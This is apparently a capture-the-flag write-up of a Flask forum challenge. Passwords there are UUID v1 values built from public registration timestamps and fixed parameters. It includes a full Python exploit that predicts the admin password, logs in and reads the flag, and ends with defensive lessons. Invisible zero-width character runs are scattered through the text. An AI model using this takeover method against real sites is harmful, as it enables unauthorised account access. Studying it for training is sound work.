← Back to Writeups
CUSTOMMediumWeb

Форум предсказателей (Prediction Forum)

XESXOR9/2/20264 min read
#web#custom#medium#admin-account-takeover-via-pas#information-disclosure-via-pub#source-code-analysis-for-crypt#uuid-v1-password-prediction-fr

Форум предсказателей (Prediction Forum)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: Admin account takeover via password reconstruction, Information disclosure via public profile endpoint, Source code analysis for cryptographic weakness, UUID v1 password prediction from timestamp

Summary

Walkthrough of the CUSTOM Web Форум предсказателей (Prediction Forum). Task: Flask forum with UUID v1-based password generation and public profile endpoint exposing user timestamps. Solution: Extracted admin creation timestamp from public profile, reconstructed password

Description

Вы умеете предсказывать будущее? А узнавать чьё-то прошлое? Нет? Что ж, в любом случае нам пришёл новый заказ: оценить безопасность одного форума. Это по Вашей части и вряд ли в этом случае Вам нужно обладать экстрасенсорными навыками, потому что в IT-сфере магии не бывает.

Analysis

Vulnerability: Predictable UUID-based Password Generation

Source code analysis of the Flask application revealed a critical vulnerability in password generation: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Timestamp-based password generation: Passwords are generated by the generate_uuid() function, which uses the user's registration time (created_at)

  2. Fixed cryptographic parameters: The function uses hardcoded values:

    • clock_seq = 0x89ca
    • node = 0x000c297433a0
  3. Information Disclosure: The public endpoint /profile/<id> exposes the created_at timestamp for any user

  4. Attack: Knowing the registration timestamp, an attacker can reconstruct any user's password

Vulnerable Code (app.py)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
def generate_uuid(timestamp_str):
    timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S.%f")
    uuid_epoch = datetime(1582, 10, 15)
    intervals = int((timestamp - uuid_epoch).total_seconds() * 1e7)
    clock_seq = 0x89ca  # FIXED!
    node = 0x000c297433a0  # FIXED!
    uuid1 = uuid.UUID(fields=(intervals & 0xFFFFFFFF,
                              (intervals >> 32) & 0xFFFF,
                              ((intervals >> 48) & 0x0FFF) | (1 << 12),
                              clock_seq >> 8,
                              clock_seq & 0xFF,
                              node))
    return str(uuid1)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Security Issues

  1. UUID v1 is not meant for passwords - UUID v1 is deterministic when parameters are known
  2. Fixed clock_seq and node - Removes the only source of entropy
  3. Timestamp as the only secret - And it's publicly available via API
  4. Information Disclosure - User profiles expose critical information

Solution

Step 1: Obtaining the Admin's Timestamp

Access the admin's public profile at /profile/1:

Username: admin
created_at: 2025-01-22 00:42:26.053996

Step 2: Reconstructing the Password

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Use the same generate_uuid() function with the obtained timestamp:

python
import uuid
from datetime import datetime

def generate_uuid(timestamp_str):
    timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S.%f")
    uuid_epoch = datetime(1582, 10, 15)
    intervals = int((timestamp - uuid_epoch).total_seconds() * 1e7)
    clock_seq = 0x89ca
    node = 0x000c297433a0
    uuid1 = uuid.UUID(fields=(intervals & 0xFFFFFFFF,
                              (intervals >> 32) & 0xFFFF,
                              ((intervals >> 48) & 0x0FFF) | (1 << 12),
                              clock_seq >> 8,
                              clock_seq & 0xFF,
                              node))
    return str(uuid1)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

admin_timestamp = "2025-01-22 00:42:26.053996"
admin_password = generate_uuid(admin_timestamp)
print(f"Admin password: {admin_password}")
# Output: c03ac230-d859-11ef-89ca-000c297433a0

Step 3: Logging in as Admin

Username: admin
Password: c03ac230-d859-11ef-89ca-000c297433a0

Step 4: Obtaining the Flag

After logging in, accessing /profile shows the secret_word containing the flag.

Full Exploit

python
#!/usr/bin/env python3
"""
Prediction Forum - UUID Password Prediction Attack
HackerLab CTF
"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

import uuid
import requests
from datetime import datetime

BASE_URL = "http://target:port"

def generate_uuid(timestamp_str):
    """Reconstruct password from timestamp using vulnerable UUID generation"""
    timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S.%f")
    uuid_epoch = datetime(1582, 10, 15)
    intervals = int((timestamp - uuid_epoch).total_seconds() * 1e7)
    clock_seq = 0x89ca  # Fixed value from source code
    node = 0x000c297433a0  # Fixed value from source code
    uuid1 = uuid.UUID(fields=(intervals & 0xFFFFFFFF,
                              (intervals >> 32) & 0xFFFF,
                              ((intervals >> 48) & 0x0FFF) | (1 << 12),
                              clock_seq >> 8,
                              clock_seq & 0xFF,
                              node))
    return str(uuid1)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def exploit():
    session = requests.Session()
    
    # Step 1: Get admin's created_at timestamp from public profile
    print("[*] Fetching admin profile...")
    resp = session.get(f"{BASE_URL}/profile/1")
    # Parse created_at from response (implementation depends on response format)
    admin_timestamp = "2025-01-22 00:42:26.053996"  # From profile page
    
    # Step 2: Predict admin password
    admin_password = generate_uuid(admin_timestamp)
    print(f"[+] Predicted admin password: {admin_password}")
    
    # Step 3: Login as admin
    print("[*] Logging in as admin...")
    resp = session.post(f"{BASE_URL}/login", data={
        "username": "admin",
        "password": admin_password
    })
    
    # Step 4: Get flag from profile
    print("[*] Fetching flag from profile...")
    resp = session.get(f"{BASE_URL}/profile")
    print(f"[+] Flag: {resp.text}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    exploit()

Lessons

  1. UUID v1 is not cryptographically secure - It's predictable when parameters are known
  2. Use UUID v4 - It's based on random numbers
  3. Use CSPRNG for passwords - secrets.token_urlsafe() in Python
  4. Don't expose creation timestamps - Or any information used in secret generation
  5. Principle of least privilege - Public profiles should not contain sensitive data

References

Key Takeaways / Lessons

  • Mastering Admin account takeover via password reconstruction, Information disclosure via public profile endpoint, Source code analysis for cryptographic weakness, UUID v1 password prediction from timestamp was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-04 • CUSTOM • Форум предсказателей (Prediction Forum) • Difficulty: Medium